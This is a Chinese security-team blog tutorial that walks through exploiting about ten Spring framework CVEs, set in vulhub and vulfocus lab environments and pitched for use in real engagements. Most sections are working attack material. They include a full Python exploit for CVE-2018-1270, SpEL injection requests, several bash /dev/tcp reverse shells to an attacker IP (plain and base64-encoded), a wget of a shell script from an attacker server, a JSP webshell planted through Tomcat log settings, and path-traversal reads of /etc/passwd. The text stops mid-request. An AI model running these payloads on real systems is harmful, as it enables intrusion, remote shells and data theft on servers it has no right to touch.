【干货】掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具
2023-11-4 00:6:38 Author: 渗透安全团队(查看原文) 阅读量:100 收藏

正如各位读者所见,我们新开了一个主题:经典漏洞复现,和其他文章不一样之处在于--我们会详细介绍漏洞原理+漏洞指纹特征+详细的利用(复现)过程,在这个系列里我们希望能带着读者(小白)去认识并掌握每一个漏洞,就拿今天的spring框架来说,我们相信小白读完这篇文章以后,以后在实战里可以快速识别出来spring框架并熟悉可能会出现的漏洞及相应的打法

本文目录

框架介绍
何为spring,在哪会遇到spring
识别spring
如何在实战中快速分辨spring框架
漏洞列表
spring漏洞全版本
漏洞环境搭建
vulhub+vulfocus
漏洞复现
1.如何识别当前站点是否存在漏洞

2.哪些版本(情况)存在该漏洞

3.漏洞指纹特征⭐

4.如何复现

5.如何实现自动化
工具
1.指纹识别工具

2.综合利用工具

零-什么是spring

Spring 框架是一个功能强大的 Java 应用程序框架,旨在提供高效且可扩展的开发环境。其本身也是模块化的,应用程序可以选择所需要的模块。这些模块缩短应用程序的开发时间,提高了应用开发的效率例如,在Java Web开发的早 期阶段,程序员需要编写大量的代码来将记录插入到数据库中。但是通过使用Spring JDBC模块的 JDBCTemplate,我们可以将操作简化为几行代码,所以spring应用十分广泛,漏洞较为常见,必须掌握。
spring有五个非常关键的部分,分别是 Spring framework 、springboot 、spring cloud 、spring secutiry、spring mvc,其中的spring framework 就是大家经常提到的spring,是所有spring内容最基本的底层架构,其中包含spring mvc,springboot,IOC和AOP等等。Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现了springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用,它们之间的关系如下。

一-如何识别spring
1.ioc图标

2.默认报错的页面

这里milu这个文件肯定是不存在的

3.常见端点

/autoconfig 提供了一份自动配置报告,记录哪此自动配置条件通过了,哪些没通过/contigprops 描述配置属性 (包含默认值) 如何注入 Bean/beans 描述应用程序上下文里全部的 Bean,以及它们的关系/dump 获取线程活动的快照 (常见)/env 获取全部环境属性 (常见)/env/(name) 根据名称获取特定的环境属性值/health 报告应用程序的健康指标,这些值由 Healthlndicator 的实现类提供 (常见)/info 获取应用程序的定制信息,这些信息由 info 打头的属性提供mappings 描述全部的 URI 路径,以及它们和控制器 (包含 Actuator 端点)的映射关系/metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数/metrics/(name) 报告指定名称的应用程序度量值/shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true (默认为 false)/trace 提供基本的 HTTP 请求跟踪信息 (时间截、HTTP 头等)

1.x版本:http://ip:port/env
2.x版本:http://ip:port/actuator/env

例如

/actuator/auditevents/autoconfig/beans/caches/conditions/configprops/docs/dump/env/flyway/health/heapdump/httptrace/info/intergrationgraph/jolokia/logfile/loggers/liquibase/metrics/mappings/prometheus/refresh/scheduledtasks/sessions/shutdown/trace/threaddump/actuator/auditevents/actuator/beans/actuator/health/actuator/conditions/actuator/configprops/actuator/env/actuator/info/actuator/loggers/actuator/heapdump/actuator/threaddump/actuator/metrics/actuator/scheduledtasks/actuator/httptrace/actuator/mappings/actuator/jolokia/actuator/hystrix.stream

上面的常见目录可以fuzz

4.wappalyzer插件识别

5.响应标头有X-Application-Context字样

如果开发者设置如下,这个特征就会消除

management.add-application-context-header: false

3.spring路由和版本知识

何为路由

  • 有些程序员会自定义 /manager 、 /management 、项目App相关名称为 spring 相关 名称为spring 根路径

  • Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径

  • Spring Boot Actuator 默认的内置路由名字,如/env ,有时也会被修改,比如/appenv

    这里会涉及到后面的springboot actuator未授权访问

版本知识

说明:Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。

Spring Cloud 大版本Spring Boot 版本
Angel兼容 Spring Boot 1.2.x
Brixton兼容 Spring Boot 1.3.x、1.4.x
Camden兼容 Spring Boot 1.4.x、1.5.x
Dalston兼容 Spring Boot 1.5.x、不兼容 2.0.x
Edgware兼容 Spring Boot 1.5.x、不兼容 2.0.x
Finchley兼容 Spring Boot 2.0.x、不兼容 1.5.x
Greenwich兼容 Spring Boot 2.1.x
Hoxton兼容 Spring Boot 2.2.x

Spring Cloud 小版本号的后缀及含义

小版本号后缀含义
BUILD-SNAPSHOT快照版,代码不是固定,处于变化之中
MX里程碑版
RCX候选发布版
RELEASE正式发布版
SRX修复错误和BUG并再次发布的正式版

二-漏洞列表

复现顺序漏洞名称漏洞ID影响版本
1
Spring Websocket RCECVE-2018-1270Spring Framework 4.3-4.3.15
Spring Framework 5.0-5.0.5
2Spring Data RCECVE-2018-1273SPring Data Common 1.13-1.13.10
Spring Data REST 2.6-2.6.10
Spring Commons 2.0-2.0.5
Spring Data REST 3.0-3.0.5
3
Spring Data REST RCECVE-2017-8046Spring Data REST < 3.0.1 and Spring Boot versions < 1.5.9
Spring Data REST < 2.6.9 and Spring Boot < 1.5.9
4Spring Web Flow RCECVE-2017-4971Spring Web Flow 2.4.0-2.4.4
Spring Web Flow 2.4.4-2.4.8
5
Spring Security OAuth2 RCECVE-2016-4977Spring Security OAuth 2.0-2.0.0
Spring Security OAuth 1.0-1.0.5
6Spring Boot 目录遍历CVE-2021-21234Spring boot < 0.2.13
7
Spring Data MongoDB SpEL Expression injectionCVE-2022-22980Spring Data MongoDB == 3.4.0
3.3.0 <= Spring Data MongoDB <= 3.3.4
8
Spring Framework RCECVE-2022-22965jdk9+ and
Spring及其衍生框架 and
使用tomcat部署spring项目 and
使用了POJO参数绑定 and
Spring Framework 5.3.x - 5.3.18 or
Spring Framework 2.x - 5.2.20
9
Spring Cloud Function RCECVE-2022-229633.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
10Spring Cloud Gateway RCECVE-2022-22947Spring Cloud Gateway 3.1.0
Spring Cloud Gateway 3.0.0 - 3.0.6
老版Spring Cloud Gateway 也可能存在
11
Spring Actuator 未授权访问NoneNone
12
获取星号信息NoneNone
13
whitelabel error page SpEL RCENoneNone
14
mysql jdbc deserialization RCENoneNone

三-搭建漏洞环境(docker+vulhub)

我们采用vulhub做为靶场,第一步介绍如何在kali安装docker

换阿里云源

vim /etc/apt/sources.list

将其之前的程序全部注释#

deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse

安装公钥

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 40976EAF437D05B5
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32

更新源

apt-get update

安装https协议、CA证书

apt-get install -y apt-transport-https ca-certificates

安装docker

apt install docker.io

查看是否安装成功

 docker -v systemctl start docker docker ps -a

安装pip

apt-get install python3-pip

安装docker-compose

pip3 install docker-compose

查看docker-compose版本

docker-compose -v

安装vulhub

git clone https://github.com/vulhub/vulhub.git这个太慢了

建议用下面这条

git clone https://gitclone.com/github.com/vulhub/vulhub

抽根烟的功夫就下好了

进入到vulhub目录,ls一下

启动环境

进入要联系的对应漏洞,例如CVE-2016-4977

启动环境docker-compose build  docker-compose up -d查看环境
docker-compose ps

访问环境

复现完以后,关闭环境

docker-compose down

三-复现漏洞

1.Spring Websocket RCE(CVE-2018-1270)

1.1漏洞简介
说明:修改前端js源码,添加恶意RCE header(完全可控,利用简单)
影响范围如⬇️:Spring Framework 4.3 - 4.3.15Spring Framework 5.0 - 5.0.5
概述:版本范围内的Spring Frameword 允许应用程序通过 Spring-messaging模块内存中STOMP代理创建WebSocket,攻击者可以向代理发送消息,从而导致RCE

启动

漏洞指纹

访问/gs-guide-websocket

靶场如下

根据指纹信息可知存在CVE-2018-1270

1.3exp

#!/usr/bin/env python3import requestsimport randomimport stringimport timeimport threadingimport loggingimport sysimport json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length): letters = string.ascii_lowercase + string.digits return ''.join(random.choice(letters) for c in range(length))

class SockJS(threading.Thread): def __init__(self, url, *args, **kwargs): super().__init__(*args, **kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' } self.t = int(time.time()*1000)
def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5)
def send(self, command, headers, body=''): data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.")
def __del__(self): self.session.close()

sockjs = SockJS('http://靶机IP:8080/gs-guide-websocket')sockjs.start()time.sleep(1)
sockjs.send('connect', { 'accept-version': '1.1,1.0', 'heart-beat': '10000,10000'})sockjs.send('subscribe', { 'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})', 'id': 'sub-0', 'destination': '/topic/greetings'})
data = json.dumps({'name': 'vulhub'})sockjs.send('send', { 'content-length': len(data), 'destination': '/app/hello'}, data)

kali这里

nc -lnvp 5555

执行exp

来了

1.1漏洞介绍

说明:Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons 2.0.5及以前版本中,该组件为提供共享等基础框架,适合各个子项目使用,支持跨数据库持久化。原理是在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
Spring DAta Commons 组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式,实现远程代码攻击。
影响范围如⬇️:Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)

1.2漏洞指纹

无明显指纹,可能存在spring框架和数据库交互的地方(例如表单)

这里vulhub靶场长这样

先扫一下目录

访问users目录

1.3exp

在表单哪里随便输点,如何抓包,改成如下

POST /users?page=&size=5 HTTP/1.1Host: 192.168.233.131:8080User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 50Origin: http://192.168.233.131:8080Connection: closeReferer: http://192.168.233.131:8080/users?page=6&size=5Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=

这里用一下dnslog

1.4getshell

bash$IFS$9-i>&/dev/tcp/192.168.233.131/6666 0>&1

先对这条命令bash编码

这里有个坑, Java Runtime.exe() 执行命令与反弹shell 要进行编码,java管道符无效的原因无法反弹,而且要使用IFS内部域分隔符,对空白处进行填充,不然也是反弹不回来的:

然后拼接

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCRJRlMkOS1pPiYvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNjY2NjwmMSA=}|{base64 -d}|{bash -i}")]=&password=&repeatedPassword=

如果这里getshell失败,那就在自己服务器放一个shell脚本,让受害机去访问这个url

bash-i>&/dev/tcp/XXXXXX/port 0>&1访问sh地址wget http://工具人vps地址/reshell.sh

工具人vps上

# 开启http服务python3 -m http.server 8080

访问shell地址(工具人vps地址)

运行shell

bash /tmp/shell.sh

ok下一个

3.Spring Data REST RCE(CVE-2017-8046)

3.1漏洞介绍

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码

影响版本:

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3

Spring Boot version < 2.0.0M4

Spring Data release trains < Kay-RC3

3.2漏洞指纹

看到 json格式的返回值,说明这是一个 Restful风格的API服务器

理解什么是restful

restful是一种软件架构风格、设计风格,而不是标准,只是提供了一组设计原则和约束条件。它主要用于客户端和服务器交互类的软件。基于这个风格设计的软件可以更简洁,更有层次,更易于实现缓存等机制。restful关键是定义可表示流程元素/资源的对象。在REST中,每一个对象都是通过URL来表示的,对象用户负责将状态信息打包进每一条消息内,以便对象的处理总是无状态的。

rest原理包括

系统上的一切对象都要抽象为资源;
每个资源对应唯一的资源标识(URI);
对资源的操作不能改变资源标识(URI)本身;
所有的操作都是无状态的等等。

指纹就是网页全是json,里面有一些类

访问customers/1

3.3 poc

PATCH的值是 SpEL表达式,添加请求头为Content-Type:application/json-patch+json ,而且命令需要改为10进制编码。

PATCH /customers/1 HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 202
[ { "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,120,77,105,52,120,78,68,107,118,78,122,99,122,77,121,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "exploit" }]

比如ping dns地址这样写

转化为十进制的时候可以用这条命令

",".join(map(str, (map(ord,"bash -c {echo,xxx}|{base64, -d}|{bash, -i}"))))

然后bp发包就行了

getshell同理

bash -i >& /dev/tcp/192.168.233.131/7777 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"))))

然后bp发包

ok下一个

4.Spring Web Flow RCE(CVE-2017-4971)

4.1漏洞介绍

Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
在其 2.4.x版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,从而造成任意命令执行。

4.2影响范围
Spring Web Flow 2.4.0 - 2.4.4

4.3漏洞指纹

无明显漏洞指纹,在各种提交表单的地方可以尝试

4.4poc

靶场长这样

在订阅图书处,存在一个命令执行,直接调用了两个函数:addDefaultMappings 和 addModelBindings。其中,控制field这个值的函数是 addDefaultMappings,且未做过滤,而 addModelBindings 是直接获取的java的一个配置文件,由配置文件确定是否有 binder 节点。如果有,就无法触发代码执行。所以利用条件有两个

 1-MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值) 2-flow view 对象中设置BinderConfiguration对象为空

所以这个漏洞触发条件就是找到这个位置

&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/ip/port 0>%261")).start()=vulhub

登录,上面已经给了密码

然后随便点一个房间

选购然后提交

点击这里抓包,在后面加上

&_(new java.lang.ProcessBuilder("bash","-c","ping dnslog地址")).start()=vulhub

这里注意这个是有csrf的token的,所以重放是没用的,我这里是为了让读者更直观的看清楚过程

4.5getshell

&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.233.131/6666 0>&1")).start()=vulhub

forward的时候改包加上这个

5.Spring Security OAuth2 RCE(CVE-2016-4977)

5.1漏洞介绍

RCE的前提是知道账号密码,Spring Security OAuth2上为Spring 框架提供安全认证支持的一个模块,当使用Whitelabel views来处理错误时,攻击者可以在被授权的情况下通过构造恶意SpEL来远程执行命令

5.2影响范围如

Spring Security OAuth 2.0 - 2.0.9

Spring Secutiry OAuth 1.0-1.0.5

5.3指纹

如果访问

/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

存在登录页面

默认账号密码是admin/admin

而且显示54289就存在该漏洞(233*233=54289)

5.4poc

#!/usr/bin/env pythonmessage = input('Enter message to encode:')poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])for ch in message[1:]:   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}'print(poc)

复制结果

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}

拼接到这里

oauth/authorize?response_type=${POC}&client_id=acme&scope=openid&redirect_uri=http://test

无回显

可以xxe,不演示了,直接构造反弹shell指令

反弹shell命令在线生成器|🔰雨苁🔰 (ddosi.org)

和上面一样

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

来了

6.Spring Boot 目录遍历(CVE-2021-21234)

这里自己搭一个vulfocus

git clone https://gitclone.com/github.com/fofapro/vulfocus.git
docker pull vulfocus/vulfocus:latest

安装完以后查看docker拉去的库,查看id

docker imagesdocker run -d -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=(虚拟机IP) (IMAGE ID)

然后访问8081端口,admin/admin登录

然后去镜像管理下载镜像就行了

6.1漏洞介绍

说明:Spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器,作为Spring boot 执行器断点。它是Maven包 “eu.hinsch:spring-boot-actuator-logview”。在0.2.13 版本之前的Spring-bott-actuator-logview中存在目录遍历漏洞。该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此filename=../somefile 将不起作用),但没有充分检查基本文件夹参数,因此filename=somefile&base=../ 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修复。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。

6.2漏洞影响范围

spring boot actuator logview < 0.2.13

6.3指纹

  1. 首页为ok

  2. or首页为Hellow Spring Boot

6.3exp

#Windows{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
#Windows{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
#Linux{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
#Linux{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../

7.Spring Data MongoDB SpEL Expression injection(CVE-2022-22980)

7.1漏洞简介

说明:Spring Data MongoDB 应用程序在使用带有 SpEL 表达式的 @Query 或 @Aggregation-annotated 查询方法时容易受到 SpEL 注入的影响,如果输入未经过过滤,则该表达式包含用于值绑定的查询参数占位符。

有一个小插曲,介绍一下SpEL

SpEL是什么

SpEL是基于Spring的一个表达式语言,类似于Struts2的 OGNL,能够在运行时动态执行一些运算或指令,类似于Java的反射功能。共分为三类:
一. 直接在注解中使用
二. 在XML文件中使用
三. 在代码块中使用

SpEL能做什么

(1)基本表达式:

逻辑运算、三目运算(条件运算符)、正则表达式等等。

(2)类操作表达式:

对象方法调用、对象属性引用、自定义函数、类实例化等等。

(3)集合操作表达式:

字典的访问、投影和修改等等。

(4)其它表达式:

模板表达式。

SpEL原理

(1)表达式:传入的字符串内容。

(2)解析器:将字符串解析为表达式内容。

(3)上下文:表达式对象执行的环境。

(4)根对象:默认的活动上下文对象。

(5)活动上下文对象:当前表达式操作的对象。

7.2影响版本

Spring Data MongoDB == 3.4.0
3.3.0 <= Spring Data MongoDB <= 3.3.4

7.3漏洞指纹

无明显指纹,如果存在spring+mongodb 的组合可以盲打一下

7.4exp

name=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('命令')

这里的name为mongodb接受的参数

name=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('touch /tmp/bmh')

8.Spring Framework RCE(CVE-2022-22965)

8.1漏洞简介

Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。该漏洞广泛存在于Spring 框架以及衍生的框架中,并JDK 9.0及以上版本会受到影响。

8.2影响版本

jdk9+ & Spring及其衍生框架 & 使用tomcat部署spring项目 & 使用了POJO参数绑定 & (Spring Framework 5.3.x - 5.3.18 | Spring Framework 2.x - 5.2.20)

8.3漏洞指纹

无明显漏洞指纹,看到识别到 Spring+Java 的站可以盲打一下

8.4EXP

class.module.classLoader.resources.context.parent.pipeline.first.pattern=构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=文件日期格式(实际构造为空值即可)

可以一个一个的GET发送,或者直接一次性POST发送,GET形如下面这种形式说明payload成功

举个例子

class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

不管用get还是post去发

最后去访问shell.jsp会发现里面的内容就是刚才写的spring

写shell

url编码前的webshell:
%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

url编码后的webshell:
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

所以现在只需要把shell.jsp的内容换成下面的

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

同时在请求中需要加3个header

suffix:%>//
c1:Runtime
c2:<%

访问shell.jsp?pwd=t&cmd=whoami

9.Spring Cloud Function RCE(CVE-2022-22963)

9.1漏洞介绍

说明:Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码

9.2影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

指纹

/functionRouter

9.3 exp

访问/functionRouter 使用POST发包,然后在header头里面放置payload
POST /functionRouter HTTP/1.1Host: 192.168.233.131:41407Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}")Content-Type: text/plainContent-Length: 6
Test

中间的命令就是形如 --> bash -i >&/dev/tcp/ip/port 0>&1

举个例子

如果是

bash -i >& /dev/tcp/192.168.233.131/5555 0>&1

于是命令变成这样,附带编码网站

java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (bewhale.github.io)

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}

来了

10.Spring Cloud Gateway RCE(CVE-2022-22947)

10.1漏洞介绍

说明:Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

具体介绍如下

1-gateway 网关启动时,路由信息默认会加载到内存中,路由信息被封装到 RouteDefinition 对象中,配置多个RouteDefinition 组成 gateway的路由系统
2-RouteDefinitionLocator是一个接口,在org.springframework.cloud.gateway.route包下,如果想查看网关中所有的路由信息,调用此接口方法是一个办法,需要先注入到容器,

所以这个洞有两个前提

management.endpoint.gateway.enabled: truemanagement.endpoints.web.exposure.include: gateway

10.2影响版本

pring Cloud Gateway 3.1.0 Spring Cloud Gateway 3.0.0 - 3.0.6 旧的不受支持的版本也受影响

10.3指纹

先介绍一下Spring cloud GateWay的actuator相关端点

  • 获取所有路由:Get请求:http://localhost:xxxx/actuator/gateway/routes/

  • 添加路由:POST请求:http://localhost:xxxx/actuator/gateway/routes/路由编号

  • 删除路由:DELETE请求:http://localhost:xxxx/actuator/gateway/routes/路由编号

  • 获取指定路由:GET请求:http://localhost:xxxx/actuator/gateway/routes/路由编号

  • 刷新路由:POST请求:http://localhost:xxxx/actuator/gateway/refresh

其中,调用添加路由的端点时,可以向路由中加入filters,过滤器的值允许为spEL表达式,且会解析这个spEL表达式。可以通过构造spEL进行远程命令执行。构造的filters可以直接利用gateway自带的AddResponseHeader,将spEL的执行结果添加到响应头中,直接通过响应头进行查看

所以指纹就很清楚了--> /actutor/gateway

10.4 exp

该漏洞利用过程为:添加路由-->触发payload-->查看结果 其本质为SpEL表达式注入,在添加路由时的value处插入表达式即可
10.4.1 添加路由
POST /actuator/gateway/routes/milu HTTP/1.1
Host:x.x.x.x:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

alue": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"

这里面的id写要执行的命令

这里filters里的name可以任意修改为下面的内容

#过滤器使用说明
https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the-addrequestheader-gatewayfilter-factory
AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize

举几个例子

{
"id": "first_route",
"predicates": [],
"filters": [{
"name": "Retry",
"args":
{
"name": "payload",
"value": "123"
}
}],
"uri": "https://www.uri-destination.org",
"order": 0
}
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"payload"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
{
"id": "first_route",
"predicates": [],
"filters": [{
"name": "RedirectTo",
"args":
{
"status": "302",
"url": "payload"
}
}],
"uri": "https://www.uri-destination.org",
"order": 0
}
{
"id": "first_route",
"predicates": [{
"name": "Cookie",
"args": {
"name": "payload",
"regexp": "ch.p"
}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}

10.4.2 触发payload

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
